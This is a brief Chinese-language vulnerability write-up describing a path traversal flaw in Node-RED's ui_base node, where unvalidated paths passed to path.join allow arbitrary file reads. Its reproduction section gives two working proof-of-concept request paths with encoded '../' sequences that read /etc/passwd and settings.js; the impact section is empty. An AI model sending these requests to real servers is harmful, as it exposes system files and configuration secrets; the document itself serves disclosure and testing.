# Node-RED ui_base 任意文件读取漏洞

# 漏洞描述

Node-RED 在/nodes/ui_base.js中,URL与'/ui_base/js/*'匹配,然后传递给path.join,

缺乏对最终路径的验证会导致路径遍历漏洞,可以利用这个漏洞读取服务器上的敏感数据,比如settings.js

# 漏洞影响


# 网络测绘


# 漏洞复现

访问页面

img

验证POC

/ui_base/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
/ui_base/js/..%2f..%2f..%2f..%2fsettings.js
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2

img

img